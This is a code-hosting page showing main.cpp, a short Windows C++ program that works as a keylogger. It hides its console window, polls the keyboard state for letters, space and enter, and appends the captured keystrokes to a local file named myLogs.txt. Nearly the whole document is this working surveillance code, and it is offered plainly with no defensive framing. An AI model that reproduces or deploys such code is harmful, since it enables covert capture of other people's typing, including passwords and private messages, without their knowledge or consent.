-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.cpp
62 lines (51 loc) · 996 Bytes
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#pragma warning(disable:4996)
#include <Windows.h>
#include <string>
#include <stdlib.h>
#include <stdio.h>
#include <iostream>
#include <fstream>
using namespace std;
void doIt(string input)
{
FILE* pFile = fopen("myLogs.txt", "a");
fprintf(pFile, "%s\n", input.c_str());
fclose(pFile);
}
int main()
{
ShowWindow(GetConsoleWindow(), SW_HIDE);
int i = 200;
string prev = "";
string outPut = "";
while (i != 1000) {
Sleep(80);
string text = "";
for (int i = 'A'; i <= 'z'; i++)
{
if ((GetKeyState(i) & 0x8000) || (GetKeyState(VK_SPACE) & 0x8000) || (GetKeyState(VK_RETURN) & 0x8000))
{
text = (char)i;
if ((GetKeyState(VK_SPACE) & 0x8000))
text = " ";
if ((GetKeyState(VK_RETURN) & 0x8000))
text = "\n";
if (text != prev) {
outPut += text;
prev = text;
}
}
}
if (text == "\n")
{
doIt(outPut);
outPut = "";
}
if (outPut.length() >= 100)
{
doIt(outPut);
outPut = "";
}
}
return 0;
}